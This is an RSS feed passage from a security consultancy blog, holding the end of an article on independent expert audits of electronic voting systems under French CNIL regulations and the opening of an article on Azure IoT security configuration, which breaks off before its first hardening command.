<p style="text-align: justify;">Once the solution has been <strong>validated </strong>it goes into <strong>production</strong>, and<strong> the election can begin</strong>:</p>
<ol style="text-align: justify;">
<li>The <strong>electoral lists </strong>are drawn up and unions or employees can check and report any errors or omissions.</li>
<li>Candidates can <strong>campaign </strong>to the voters and present their program.</li>
<li>On the day of the <strong>opening of the vote</strong>, the solution is <strong>sealed </strong>using private encryption keys, where 1/3 is held by the corporate administration and 2/3 by the trade unions.</li>
<li>Voters then<strong> vote according to the </strong>designated <strong>timetable</strong>, the polling stations monitor the counting of votes and assist the voters, the supervision unit monitors the process and manages any incidents, and the provider company is mobilised if necessary.</li>
<li><strong>On the closing </strong>day of <strong>the elections</strong>, the integrity of the ballot box (urn) is checked, and the unsealing is carried out by the administration and the trade unions.</li>
<li>The <strong>counting of </strong>the votes is then carried out under the control of the centralising polling stations.</li>
<li>The <strong>results of </strong>the elections should be communicated to the voters, publicly displayed, and sent to the labour inspector (<em>“Inspecteur du travail”</em>).</li>
<li>The ballot box is <strong>sealed </strong>again, and the entire solution <em>(including copies of source and executable programs, voting materials, vote count, results and backup files and files that keep track of interventions on the system</em>) is<strong> archived under seal</strong> for a minimum of 2 years.</li>
<li>In the event of a <strong>dispute</strong>, an appeal may be lodged with the labour inspector or the district court.</li>
</ol>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">What are the opportunities and risks in electronic voting?</h1>
<h2 style="text-align: justify;">Opportunities</h2>
<h3 style="text-align: justify;">Ease of implementation of the ballot</h3>
<p style="text-align: justify;">Electronic voting is <strong>generally more efficient to implement than paper voting</strong>, requiring less manual work for preparation (printing of propaganda posters, logistics, etc.), counting and reporting of results. This leads to a reduction in costs and an improvement in the efficiency of the electoral process.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Reducing the carbon footprint</h3>
<p style="text-align: justify;">Electronic voting greatly reduces the dependence on paper printing for electoral lists, propaganda documents, and especially ballot papers. It also drastically reduces travel depending on the geographical organisation of the company.</p>
<p style="text-align: justify;">According to a study by Kercia<a href="#_edn4" name="_ednref4">[iv]</a>, the carbon footprint of a postal vote is more than twice that of an electronic vote.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Maximising participation and elected bodies with a broader electoral base</h3>
<p style="text-align: justify;">Electronic voting allows for greater <strong>voter participation.</strong></p>
<p style="text-align: justify;">A study conducted in Switzerland in 2011 showed that turnout <strong>increased by 2.2%</strong><a href="#_edn5" name="_ednref5">[v]</a> in cantons that implemented e-voting compared to those that did not use this method. Similarly, a study in Estonia in 2014 found that the use of e-voting <strong>increased voter turnout by 3-4%</strong><a href="#_edn6" name="_ednref6">[vi]</a><strong>.</strong></p>
<p style="text-align: justify;">Voters can vote remotely <strong>without having to physically travel </strong>to the polling station. This can increase voter turnout, especially in the context of the widespread use of remote work post-COVID-19.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Agreements with a stronger democratic basis</h3>
<p style="text-align: justify;">E-voting can help to <strong>strengthen social dialogue </strong>due to wider outreach and greater accessibility for voter participation. The results of elections are more convincing by increasing the participation in the polls.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Risks</h2>
<h3 style="text-align: justify;">Alteration of results</h3>
<p style="text-align: justify;">Electronic voting systems can be vulnerable to attacks such as the <strong>usurpation </strong>of voter <strong>accounts</strong>, <strong>multiple votes by the same voter in the same election</strong>, or the <strong>compromise of ballots</strong>.</p>
<h3 style="text-align: justify;">Protection of personal data</h3>
<p style="text-align: justify;">The implementation of e-voting platforms should consider the <strong>risk of excessive collection of sensitive personal data </strong>such as voters&#8217; political opinions.</p>
<p style="text-align: justify;">Voters&#8217; personal information may also be stored on vulnerable servers, exposing this data to the <strong>risk of compromised voting secrecy or data leakage</strong>.</p>
<h3 style="text-align: justify;">Transparency of voting operations</h3>
<p style="text-align: justify;">It can be difficult for each stakeholder to understand how votes are recorded and how the results are tabulated, leading to <strong>mistrust of the solution and the election</strong> <strong>results.</strong></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">These risks must be considered and mitigated in order to drastically reduce the probability of occurrence and/or their impact on the smooth running of the elections.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">How to comply with the regulations?</h1>
<h2 style="text-align: justify;">CNIL deliberation 2019-053 of 25 April 2019</h2>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20478 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2.png" alt="" width="601" height="357" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2.png 601w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2-322x191.png 322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN2-120x70.png 120w" sizes="auto, (max-width: 601px) 100vw, 601px" /></p>
<p> </p>
<p style="text-align: justify;">The <strong>CNIL</strong> (<em>National Commission for Information Technology and Civil Liberties</em>)<strong> deliberation n°2019-053 of 25 April 2019</strong><a href="#_edn7" name="_ednref7">[vii]</a> simplifies and clarifies the texts of 2010 and 2018. The process is as follows:</p>
<ol style="text-align: justify;">
<li>Choice of <strong>security level </strong>(1, 2 or 3) according to a questionnaire provided by the CNIL<a href="#_edn8" name="_ednref8">[viii]</a>.</li>
<li>Implementation of a <strong>test voting platform </strong>(iso-production) prior to the elections, with support from the independent expert in the event of questions relating to the conformity of the technical and organisational choices to be made.</li>
<li><strong>Independent assessment of the </strong>solution to evaluate the compliance of the solution with the security objectives: depending on the defined risk level, the security objectives are more or less strict. These are cumulative, e.g., if a risk level of 3 is defined, the objectives of levels 1, 2 and 3 must be met.</li>
</ol>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Decree 2011-595 (public sector)</h2>
<p style="text-align: justify;">A regulation has been added to the CNIL deliberation 2019-053 for the <strong>public service </strong>and certain parastatal sector companies<a href="#_edn9" name="_ednref9">[ix]</a> :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20480 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN3.png" alt="" width="601" height="415" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN3.png 601w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN3-277x191.png 277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/EN3-56x39.png 56w" sizes="auto, (max-width: 601px) 100vw, 601px" /></p>
<p> </p>
<p style="text-align: justify;">In addition to the CNIL security objectives, <strong>18 articles </strong>composing this decree must be respected and checked by the independent expert. The control points include for example:</p>
<ul style="text-align: justify;">
<li><em>“At least 2/3 of the keys are allocated to the list delegates and at least 1 key is allocated to the president of the polling station or his representative.”</em></li>
<li><em>“The sealing is carried out by the combination of at least 2 encryption keys, including the one of the president of the polling station or his representative and the one of at least one list delegate” </em></li>
<li><em>“A process ensures that the voters’ list is only modified by the addition of a ballot electronical paper, which is issued by an authenticated voter casting the vote.”</em></li>
<li><em>&#8220;Each voter shall be provided at least fifteen days before the first day of the election with a means of authentication enabling him or her to participate in the election &#8211; the confidentiality of this means of authentication shall be guaranteed”</em></li>
<li><em>&#8220;A process ensures that the electronic ballot box (urn) is only modified by the vote of an authenticated voter”</em></li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Independent expertise</h2>
<h3 style="text-align: justify;">Obligation</h3>
<p style="text-align: center;"><em>&#8220;<strong>Any data controller </strong>implementing an electronic voting system, in particular via the Internet, <strong>must have its solution assessed by an independent expert</strong>, whether the voting solution is managed internally or provided by a service provider.&#8221; &#8211; CNIL Deliberation 2019-053</em></p>
<h3 style="text-align: justify;">Modalities</h3>
<h4 style="text-align: justify;">When?</h4>
<p style="text-align: justify;">This expertise must be carried out:</p>
<ul style="text-align: justify;">
<li><strong>Prior to the implementation of </strong>the electronic voting system</li>
<li>In the event of a design <strong>change to </strong>the existing electronic voting system</li>
<li>For <strong>every new election </strong>using the electronic voting system, even if it has already been audited</li>
</ul>
<h4 style="text-align: justify;">By whom?</h4>
<p style="text-align: justify;">By an independent expert, who must:</p>
<ul style="text-align: justify;">
<li>Be an IT (Information Technology) <strong>specialist in security</strong></li>
<li><strong>Not having an interest in the company </strong>that created the voting solution or in the organisation responsible for processing</li>
<li>If possible,<strong> have experience </strong>in analysing voting systems, having assessed the voting systems of at least two different providers.</li>
</ul>
<h4 style="text-align: justify;">Why?</h4>
<p style="text-align: justify;">To ensure <strong>compliance with the fundamental principles </strong>governing electoral operations:</p>
<ul style="text-align: justify;">
<li>The secrecy of the ballot</li>
<li>The personal and free nature of voting</li>
<li>The sincerity of the electoral operations</li>
<li>Effective monitoring of the vote by the electoral commission</li>
<li>A posteriori control by the election judge</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Typical working approach</h3>
<p style="text-align: justify;">Our vision of independent expertise is illustrated by the main steps described in this chapter.</p>
<h4 style="text-align: justify;">Initialisation and framing</h4>
<p style="text-align: justify;">To initiate the mission, a kick-off meeting is organised with the project contacts.</p>
<p style="text-align: justify;">The purpose of this meeting is to introduce the <strong>teams</strong>, define the <strong>milestones</strong> and project <strong>schedule</strong>, specify the service <strong>monitoring </strong>procedures, the <strong>communication </strong>procedures between the parties (encryption of exchanges, etc.), collect the existing <strong>documentation</strong>, and set up the <strong>committee procedure</strong>.</p>
<h4 style="text-align: justify;">Audit of the solution and expert support</h4>
<p style="text-align: justify;">This central phase of the assessment is based on a theoretical and practical analysis:</p>
<ul style="text-align: justify;">
<li><strong>Control of project documentation and </strong>specifications
<ul>
<li>From the &#8220;paper&#8221; phase onwards, it is necessary to ensure that all the points of compliance are present and in line with the regulations in force: <em>technologies used and updates of the latter, hosting of the solution, physical security, architecture and high availability, partitioning between ballots, sealing and encryption techniques, means of compiling, correlating, communicating and deleting electoral lists, voter authentication scheme, etc.</em></li>
</ul>
</li>
<li><strong>Support in expertise and safety advice</strong>
<ul>
<li>This involves providing ad hoc expertise on subjects relating to the legal and regulatory framework during the design and implementation phase of the solution and processes (g., <em>choice of authentication factors, process for storing sealing keys, etc</em><em>.</em>).</li>
</ul>
</li>
<li><strong>Technical audit of the solution</strong>
<ul>
<li><strong>Architecture review </strong>to check the compliance of physical and logical partitioning, security of flows, hosting, high availability, etc.</li>
<li><strong>Audit of the organisation and processes </strong>such as sealing, authentication communication, archiving, etc.</li>
<li><strong>Technical configuration review of the key servers of </strong>the solution</li>
<li>Audit of the <strong>source code </strong>and <strong>encryption mechanisms</strong> of the solution based, among other security frameworks, on the RGS<a href="#_edn10" name="_ednref10">[x]</a> (<em>Référentiel Général de Sécurité</em>)</li>
<li><strong>Black-box and grey-box penetration testing </strong>of voting portals and the supervision back-office</li>
</ul>
</li>
</ul>
<h4 style="text-align: justify;">Observation of test elections</h4>
<p style="text-align: justify;">This phase aims to simulate an election to check the correct application of the protocol and the processes verified beforehand on field:</p>
<ul style="text-align: justify;">
<li>Validation of the compliance<strong> monitoring </strong>process
<ul>
<li>In this step, the aim is to verify that the technique used for the verification of the non-alteration of the system (fingerprinting) works.</li>
</ul>
</li>
<li><strong>Checks on the solution on field</strong>
<ul>
<li>It is a matter of ensuring, in vivo, that all the points mentioned in terms of security and regulations are in place, for example through the analysis of application and system logs, or &#8220;random&#8221; checks: presence of temporary files containing sensitive information, capacity to collect data, etc.</li>
</ul>
</li>
<li><strong>Expertise support during the voting process and assistance in adapting procedures in case of unforeseen events</strong></li>
</ul>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Accompaniment during the actual election</h4>
<p style="text-align: justify;">The same checks as during the test elections are carried out, and specifically:</p>
<ul style="text-align: justify;">
<li>System <strong>integrity check</strong>: Fingerprinting of essential system components (libraries, code, encryption libraries, etc.) and comparison of the fingerprints with those obtained beforehand.</li>
<li>Compliance with the <strong>regulatory framework</strong>: sealing process, access, and use of encryption/decryption keys, counting process, etc.</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">What are the pitfalls and how can they be avoided?</h1>
<h2 style="text-align: justify;">Limited access to systems</h2>
<p style="text-align: justify;">The <strong>high expertise market </strong>context of voting solutions may make vendors <strong>reluctant to share confidential information </strong>about their technology, such as <strong>source code</strong>, in the interests of <strong>industrial secrecy, which </strong>may limit the ability of experts to assess system compliance.</p>
<p style="text-align: justify;">In order to avoid this pitfall, it is essential to implement <strong>regular communication </strong>and <strong>full transparency </strong>of the actions of the independent expert. <strong>Guarantees </strong>must be provided for the protection of the confidentiality of the data collected and processed via <strong>processes and an IS certified by SMSI or II 901</strong><a href="#_edn11" name="_ednref11">[xi]</a> (French norm for “<em>Restricted Distribution”</em> classified information).</p>
<p style="text-align: justify;">Furthermore, we recommend that independent experts are <strong>flexible in their organisation, for </strong>example by agreeing to consult the source code exclusively on the provider&#8217;s premises.</p>
<p style="text-align: justify;">Finally, it should be recalled that CNIL deliberation 2019-053 requires the service provider to make available &#8220;the source code corresponding to the version of the software actually implemented &#8221; to the independent expert.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Distrust of trade unions and voters</h2>
<p style="text-align: justify;">Trade unions and voters can legitimately question <strong>the independence of </strong>the expert and the <strong>guarantees provided by the expertise</strong>, leading to <strong>mistrust of </strong>the electronic voting solution.</p>
<p style="text-align: justify;">These fears are well-founded and must be <strong>addressed </strong>through <strong>transparency and the </strong>provision of <strong>factual </strong>and <strong>verifiable evidence </strong>for each observation reported during the assessment.</p>
<p style="text-align: justify;">Furthermore, no findings should be ambiguous, conditional, or omitted.</p>
<p style="text-align: justify;">Finally, it is essential to present the <strong>limits </strong>of the expertise exercise, and the logical impossibility of providing a 100% guarantee that the system cannot be attacked.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Interpretation of the regulations</h2>
<p style="text-align: justify;">The available <strong>regulations </strong>are not always <strong>clear </strong>and explicit, including</p>
<ul style="text-align: justify;">
<li><strong>Non-standard architectures </strong>are not subject to specific rules
<ul>
<li><em>Ex: An architecture based on an IS straddling the SaaS (Software as a Service) solution publisher and the employer&#8217;s IS</em></li>
</ul>
</li>
<li>Some <strong>terms </strong>may be <strong>ambiguous</strong>
<ul>
<li><em>g.: &#8220;A voter&#8217;s vote must be an atomic operation&#8221; &#8211; atomicity being a functional rather than a technical notion, e.g., Internet communication protocols do not allow the entire ballot to be contained in a single network packet</em></li>
</ul>
</li>
</ul>
<p style="text-align: justify;">The application of <strong>security standards and frameworks </strong>(such as RGS), direct consultation with the <strong>CNIL</strong>, and the implementation of a <strong>solution that responds to the risk </strong>in substance are all ways of remedying this pitfall.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion and recommendations</h1>
<p style="text-align: justify;">To make <strong>the most of the independent expertise </strong>and to <strong>factualise </strong>it, we recommend <strong>combining the regulatory compliance approach with a risk-oriented approach</strong>, based on the technical audit (penetration tests, configuration reviews, etc.) in a logic of practical and <strong>pragmatic securing </strong>of the solution <strong>within the regulatory framework</strong>.</p>
<p style="text-align: justify;">This exercise can only be carried out effectively and efficiently if <strong>all </strong>project <strong>stakeholders, </strong>including the publisher and trade unions, are <strong>involved </strong>and <strong>made aware of the project </strong>as early as the design phase.</p>
<p style="text-align: justify;">Finally, it is necessary to bear in mind that e-voting is a constantly <strong>evolving technology</strong>. It is likely that new methods and technologies will emerge in the future, leading to an <strong>evolution of the regulations</strong>. Therefore, <strong>technical and regulatory monitoring </strong>is and will remain an essential subject for election organisers, publishers, and independent expertise companies alike.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><em>For any information or quotation </em><em>request</em><em> on the subject of the independent expertise of electronic voting systems, we invite you to contact us via the following form: </em><a href="https://www.wavestone.com/fr/contact/">https://www.wavestone.com/fr/contact<em>/</em></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>We wish you every success in organising your professional elections!</strong></p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><a href="#_ednref1" name="_edn1">[i]</a><a href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/"> https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/ </a></p>
<p style="text-align: justify;"><a href="#_ednref2" name="_edn2">[ii]</a><a href="https://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees">h ttps://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees </a></p>
<p style="text-align: justify;"><a href="#_ednref3" name="_edn3">[iii]</a><a href="https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique"> https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique </a></p>
<p style="text-align: justify;"><a href="#_ednref4" name="_edn4">[iv]</a><a href="https://www.kercia.com/vote-electronique">h ttps://www.kercia.com/vote-electronique </a></p>
<p style="text-align: justify;"><a href="#_ednref5" name="_edn5">[v]</a><a href="https://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html">h ttps://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html </a></p>
<p style="text-align: justify;"><a href="#_ednref6" name="_edn6">[vi]</a><a href="https://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/">h ttps://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/ </a></p>
<p style="text-align: justify;"><a href="#_ednref7" name="_edn7">[vii]</a><a href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239"> https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239 </a></p>
<p style="text-align: justify;"><a href="#_ednref8" name="_edn8">[viii]</a><a href="https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010"> https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010 </a></p>
<p style="text-align: justify;"><a href="#_ednref9" name="_edn9">[ix]</a><a href="https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/"> https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/ </a></p>
<p style="text-align: justify;"><a href="#_ednref10" name="_edn10">[x]</a><a href="https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/"> https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/ </a></p>
<p style="text-align: justify;"><a href="#_ednref11" name="_edn11">[xi]</a><a href="https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/"> https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/">Independent expertise of electronic voting systems</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/05/independent-expertise-of-electronic-voting-systems/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 07 Apr 2023 13:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & Consumer goods]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[IoT]]></category>
		<category><![CDATA[RBAC]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20232</guid>

					<description><![CDATA[<p>Internet of Things (IoT) platforms enable the connection, management and monitoring of fleets of devices. The 3 cloud leaders, GCP, AWS and Azure each have their own offering, in a particularly fragmented sector, which sees many players competing. Azure, in...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/">Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Internet of Things (IoT) platforms enable the connection, management and monitoring of fleets of devices. The 3 cloud leaders, GCP, AWS and Azure each have their own offering, in a particularly fragmented sector, which sees many players competing.</p>
<p>Azure, in recent years, has been gaining a foothold in this sector, as Gartner has pointed out, ranking them among the <strong>visionary leaders</strong> of Industrial IoT (IIoT) platforms [1] due to its capabilities, and its almost complete coverage of all use cases and industries.</p>
<p>The IoT, by nature often widely exposed, even on the Internet, can be the<strong> target of attacks</strong>. It is therefore essential to put in place security mechanisms, and to<strong> apply best practices</strong> to improve the security level of the platform and the objects that connect to it, which we will explore in this article.</p>
<p>Before moving on to specific <strong>recommendations</strong> for protecting your IoT devices and data, let&#8217;s look at how the various Azure IoT services can be used together to<strong> create secure IoT solutions</strong>.</p>
<h1><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">Presentation of the Azure IoT offer</span></h1>
<p>Microsoft Azure IoT is an <strong>end-to-end platform</strong> for connectivity, analysis and visualization of data from IoT devices. It also offers <strong>interconnection with other standard Azure services</strong> such as Azure Machine Learning and Azure SQL Database.</p>
<p>Azure IoT offers <strong>two solution ecosystems</strong> to its customers:</p>
<ul style="text-align: justify;">
<li>Azure IoT Central is a <strong>fully managed aPaaS</strong>, Platform as a Service application that <strong>simplifies the creation of IoT solutions</strong>. This service is responsible for connecting, managing and operating fleets of devices, and provides a management user interface. Azure IoT Central is an <strong>aggregate of different Azure IoT services</strong> such as Azure IoT Hub or Azure IoT Hub Device Provisioning Service (DPS).</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20200 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png" alt="" width="836" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png 836w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-768x499.png 768w" sizes="auto, (max-width: 836px) 100vw, 836px" /></p>
<p><em>Azure IoT Central </em><strong>offers application models</strong> according to several business domains: Retail, Health, Energy, Industry, etc., and aims at a &#8220;turnkey&#8221; implementation.  </p>
<ul style="text-align: justify;">
<li>A <strong>customised ecosystem</strong> thanks to the various Azure PaaS (Platform as a Service) services. In this ecosystem, two services; Azure IoT Hub and Azure Digital Twins are the <strong>foundations of an IoT solution</strong>. We have also combined them with Azure Device Provisioning and Azure Device Update for optimal coverage of cyber security needs.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20202 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png" alt="" width="830" height="519" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png 830w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-768x480.png 768w" sizes="auto, (max-width: 830px) 100vw, 830px" /></p>
<p>These two ecosystems enable Azure to <strong>address all types of IoT and IIoT needs</strong>:</p>
<ul style="text-align: justify;">
<li>Azure IoT Central offers a complete service if you want to quickly develop a <strong>low-complexity application</strong> thanks to its application template catalogue.</li>
<li>If you want a <strong>custom solution</strong>, or with features not supported by Azure IoT Central: opt for an ecosystem based on Azure IoT Hub.</li>
</ul>
<p>Now that we have a good understanding of the Azure IoT ecosystems, it is important to <strong>focus on securing these ecosystems</strong>. How can we effectively protect IoT devices and data when using Azure IoT services? This is what we will explore in the following sections.</p>
<p> </p>
<h1><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">Preamble: the Azure CLI tool</span></h1>
<p>In order to manage Azure resources, Microsoft provides several tools, most of which can be used in CLI (Command Line Interface). The tool offering the most functionality for management is <strong>Azure CLI</strong>.</p>
<p>This tool, available for <strong>Windows</strong> and <strong>UNIX</strong> operating systems, allows a user who is a member of an Azure environment to <strong>manage and obtain information about Azure resources</strong>. It should be noted that the range of possibilities of this tool varies according to the rights that the user has over the resources in question.</p>
<p>To install it, Microsoft provides a <a href="https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli">dedicated page</a> explaining the steps for any type of environment.</p>
<p>In order to use it, all you must do is <strong>connect</strong> to an Azure user account via the chosen command interface (<strong>PowerShell</strong> or <strong>Bash</strong>), then <strong>enter the desired commands</strong>. Once the use of this tool is finished, a disconnection of the account is recommended.</p>
<p>A <strong>typical use</strong> of this tool is shown below:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> login [<span style="color: #808080;">-u</span> Nom d’utilisateur] [<span style="color: #808080;">&#8211;use-device</span>]</span></p>
<p><span style="color: #ffffff;">[Commandes Azure CLI] [Exemple : ]</span><br /><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource list</span></p>
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> logout</span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;"><span style="font-size: revert; color: initial;">The documentation of this tool, presenting and explaining all the possible commands, is available at this </span><a style="font-size: revert;" href="https://learn.microsoft.com/fr-fr/cli/azure/reference-index?view=azure-cli-latest">address</a><span style="font-size: revert; color: initial;">.</span></p>
<p>This tool will be used later in the example of technical manipulations.</p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">1st security vector: authentication of objects</span></h1>
<p>Device authentication is crucial for an Azure infrastructure as it ensures that <strong>only authorised devices can access cloud resources</strong>. Azure IoT services support two main means of authentication for IoT devices:</p>
<ul style="text-align: justify;">
<li>A <strong>SAS Token</strong> (Shared Access Signature) is a <strong>string of characters</strong> used to authenticate devices and services. An SAP token has the following structure:</li>
</ul>
<p style="text-align: justify;"> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20249 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12.png" alt="" width="2426" height="637" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12.png 2426w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-437x115.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-768x202.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-1536x403.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-2048x538.png 2048w" sizes="auto, (max-width: 2426px) 100vw, 2426px" /></p>
<p>This type of authentication has a <strong>defined validity period</strong> and permissions, which are assigned based on an access policy, on a <strong>given perimeter</strong>. The <strong>signature</strong>, on the other hand, is a crucial element because it is responsible for guaranteeing the security of communications between the object and Azure services, but also for proving the identity of the device. This signature is generated from a secret that must be <strong>specific to each device</strong>.</p>
<ul style="text-align: justify;">
<li>An <strong>X.509 certificate</strong> [2] is a digital certificate allowing <strong>strong authentication</strong> of the object. It contains information about the <strong>entity issuing</strong> the certificate, the validity period of the certificate and the<strong> identity of the subject</strong> (e.g. the object). One of the strengths of certificates is the ability to create chains of certificates, and thus <strong>create trust relationships</strong>:</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20206 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png" alt="" width="844" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png 844w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-768x388.png 768w" sizes="auto, (max-width: 844px) 100vw, 844px" /></p>
<p style="text-align: justify;"><span style="font-size: revert; color: initial;">X.509 certificates offer a <strong>higher level of security</strong>, assuming a state-of-the-art cryptographic algorithm, as they <strong>allow trust relationships to be represented</strong>. However, the management and use of certificates can involve <strong>additional complexity</strong> for an IoT project.</span></p>
<p>In order to force the use of X.509 certificates to authenticate connected objects, it is possible <strong>to prohibit SAS tokens for an IoT Hub</strong>. Indeed, Azure IoT Hubs have three properties related to the <strong>use or not of SAS tokens</strong>: disableLocalAuth, disableDeviceSAS and disableModuleSAS. Therefore, the best practice associated with disabling SAS tokens is to set these three parameters to True. This can be done using the <strong>Azure CLI</strong> tool:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
